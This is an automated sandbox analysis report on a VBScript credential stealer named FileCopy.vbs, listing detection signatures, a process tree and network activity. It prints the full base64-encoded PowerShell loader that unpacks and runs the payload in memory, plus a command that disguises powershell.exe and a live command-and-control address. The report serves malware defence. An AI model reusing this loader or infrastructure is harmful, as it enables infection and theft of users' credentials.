Edit tour

Windows Analysis Report
FileCopy.vbs

Overview

General Information

Sample name:	FileCopy.vbs
Analysis ID:	1564712
MD5:	2dfb7b7730d6c1728c756db5ec669f87
SHA1:	1c4892af68c0ee8ce4d73a16bbf3179f1bdff526
SHA256:	1720f6ba7249b11a24c319d496a66801896585a97498255bdf923ba29659aadc
Tags:	vbsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious encrypted Powershell command line found

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Creates processes via WMI

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Powershell is started from unusual location (likely to bypass HIPS)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7280 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7356 cmdline: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FileCopy.vbs.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 7612 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1504820265.00000000053F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.1437469365.0000000009C90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1488056687.00000000030C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: FileCopy.vbs.exe PID: 7472	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: FileCopy.vbs.exe PID: 7472	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: FileCopy.vbs.exe PID: 7472	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1c79c8:$b2: ::FromBase64String( 0x38fdc:$s1: -join 0x1abd85:$s1: -join 0x239ce2:$s1: -join 0x246db7:$s1: -join 0x24a189:$s1: -join 0x24a83b:$s1: -join 0x24c32c:$s1: -join 0x24e532:$s1: -join 0x24ed59:$s1: -join 0x24f5c9:$s1: -join 0x24fd04:$s1: -join 0x24fd36:$s1: -join 0x24fd7e:$s1: -join 0x24fd9d:$s1: -join 0x2505ed:$s1: -join 0x250769:$s1: -join 0x2507e1:$s1: -join 0x250874:$s1: -join 0x250ada:$s1: -join 0x252c70:$s1: -join
Process Memory Space: InstallUtil.exe PID: 7612	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: InstallUtil.exe PID: 7612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.InstallUtil.exe.53f0000.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.FileCopy.vbs.exe.9c90000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
4.2.FileCopy.vbs.exe.5faf688.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==, CommandLine: "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnAC

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", ProcessId: 7280, ProcessName: wscript.exe

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\FileCopy.vbs.exe, ProcessId: 7472, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5xirths.g21.ps1

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y, CommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7280, ParentProcessName: wscript.exe, ProcessCommandLine: cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\user\Desktop\FileCopy.vbs.exe" /Y, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\FileCopy.vbs", ProcessId: 7280, ProcessName: wscript.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: FileCopy.vbs.exe, 00000004.00000002.1441347200.0000000009DB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: FileCopy.vbs.exe, 00000004.00000002.1441347200.0000000009DB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: powershell.pdbUGP source: FileCopy.vbs.exe, 00000004.00000000.1371964932.0000000000E91000.00000020.00000001.01000000.00000005.sdmp, FileCopy.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: powershell.pdb source: FileCopy.vbs.exe, 00000004.00000000.1371964932.0000000000E91000.00000020.00000001.01000000.00000005.sdmp, FileCopy.vbs.exe.2.dr
Source:	Binary string: protobuf-net.pdb source: FileCopy.vbs.exe, 00000004.00000002.1432308888.0000000008210000.00000004.08000000.00040000.00000000.sdmp, FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_09C6D758
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D53572h	4_2_09D531C0
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D53572h	4_2_09D531B3
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D5397Eh	4_2_09D53910
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D5397Eh	4_2_09D53918
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D5397Eh	4_2_09D53B1C
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D87438h	4_2_09D87380
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Code function: 4x nop then jmp 09D87438h	4_2_09D8737B

Source: global traffic

TCP traffic: 192.168.2.9:49720 -> 185.29.9.118:7702

Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.9.118

Source: global traffic

DNS traffic detected: DNS query: 90.168.9.0.in-addr.arpa

Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.00000000049A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002D8E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: InstallUtil.exe, 00000006.00000002.1495749717.0000000003E65000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1495749717.0000000003CC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: FileCopy.vbs.exe, 00000004.00000002.1418126581.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
